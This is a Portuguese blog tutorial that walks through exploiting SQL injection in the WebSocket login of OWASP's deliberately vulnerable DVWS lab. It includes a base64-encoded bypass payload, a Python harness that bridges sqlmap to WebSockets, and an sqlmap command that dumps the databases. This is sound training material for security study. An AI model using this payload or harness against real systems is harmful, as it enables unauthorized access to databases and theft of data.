Damm Vulnerable WebSocket

“E você, sabe o que é websocket..?”

O que é?

É um protocolo de comunicação que veio junto com a especificação do HTML5, diferente do HTTP esse protocolo é bidirecional. Isso significa que um tunel será fechado entre o navegador e o servidor, enviando e recebendo informaçnao de forma contínua.

Isso torna a comunicação muito mais rápida, sendo muito utilizado em programas de chat e jogos!

É Vuln?? ¯\_(ツ)_/¯

Mesmo com todas suas vantagens as vulnerabilidades mais comuns em aplicações HTTP podem ser encontradas também em websockets.
Algumas delas são:

  • DoS Attacks
  • No authentication during the handshake process
  • Unencrypted TCP channels
  • Vulnerability to input data attacks
  • Data masking
  • Authorization/authentication
  • Tunneling

Não encontrei nehuma vuln no protocolo em si na forma que ele foi construído, se alguém souber me avisa. \o/

DVWS

A OWASP como sempre a um passo na frente quando o assunto é disponibilizar conteúdo de estudos para a comunidade.
Criou uma aplicação com diversas implemetações vulneraveis do websocket e hoje irei abordar um pouco sobre essa belezura que pelas bandas que eu ando não é um assunto tão frequente e que eu vejo que deve ter mais atenção!

Demo

Agora irei fazer uma pequena demonstração explorando o “Error based SQL Injection” que a aplicação possui. Essa é a carinha dela uma vez que sobe a aplicação..


Basicamente o que vamos explorar essa vuln de forma manul e automatizada.


Manual

Assim que enviamos um usuário e senha qualquer, no burp podemos ver que a primeira conexão que acontece é a da handshake, que é quando utilizamos HTTP para fechar uma conexão e posteriormente trocar as mensagens por websocket.

Se olhar a requesição na aba “Websocket history”, vamos ver mais ou menos o seguinte:

  • Uma mensagem sendo enviada do cliente para o servidor
    • {"auth_user":"YWRtaW4=","auth_pass":"YWRtaW5h"}
  • Uma mensagem do servidor respondendo ao cliente
    • <pre>Invalid username/password</pre>

Utilizando o burp, podemos enviar para a aba do repeater e brincar com essa request.


Assim a única coisa que falta neste exemplo é criar um payload para bypass de SQL injection encodar em base64 para seguir o padrão que o servidor está esperando e ver que conseguimos explorar SQLi em websockets.

Payload utilizado para PoC

{"auth_user":"YWRtaW4=","auth_pass":"dnVsbicgT1IgTk9UIDU1NjI9MTgzMiM="}

Automatizado

Navegando pelos 7 mares da internet, encontrei um link bacana onde alguém desenvolveu um código em python que facilita nossa vida. Que pode ser econtrado aqui!, esse link contém não só o código mas também toda uma explicação sobre como foi o processo de exploração.

Obs. Todos os créditos desse código criado são da equipe do vdalabs ^.^

Codificando

Código python

#!/usr/bin/python
import socket,ssl
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from websocket import create_connection, WebSocket
from urlparse import parse_qs
import argparse
import os

LOOP_BACK_PORT_NUMBER = 8000

def FuzzWebSocket(fuzz_value):
    print fuzz_value
    ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0])))
    result =  ws.recv()
    return result

def LoadMessage(file):
    file_contents = ""
    try:
        if os.path.isfile(file):
            f = open(file,'r')
            file_contents = f.read()
            f.close()
    except:
        print ("Error reading file: %s" % file)
        exit()
    return file_contents

class myWebServer(BaseHTTPRequestHandler):
    
    #Handler for the GET requests
    def do_GET(self):
        qs = parse_qs(self.path[2:])
        fuzz_value = qs['fuzz']
        result = FuzzWebSocket(fuzz_value)
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        self.wfile.write(result)
        return

parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets')
parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True)
parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True)
args = parser.parse_args()

ws_message = LoadMessage(args.message)

ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080)

try:
    #Create a web server and define the handler to manage the
    #incoming request
    server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer)
    print 'Started httpserver on port ' , LOOP_BACK_PORT_NUMBER
    
    #Wait forever for incoming http requests
    server.serve_forever()

except KeyboardInterrupt:
    print '^C received, shutting down the web server'
    server.socket.close()
    ws.close()

Basicamente agora só precisamos criar nosso arquivo message.txt que é onde vai ficar nosso payload com a apalvra FUZZ que é para que o script em opython possa identificar onde é o ponto que ele tem que enviar os payloads e fazer a substituição.

  • message.txt: {"auth_user":"dGVzdA==","auth_pass":"[FUZZ]"}
  • Executando o script: python WebSocket-Harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
  • Comando sqlmap: sqlmap -u "http://127.0.0.1:8000/?fuzz=vuln" --dbs --tamper=base64encode

E… Voilà


Assim conseguimos explorar e dumpar o banco de dados de forma automatizada! Recomendo que briquem mais com essa máquina, explorem todas as outras vulns.

Por hoje é só, espero que tenha sido útil pra você, assim como foi pra mim. 🤓


Referências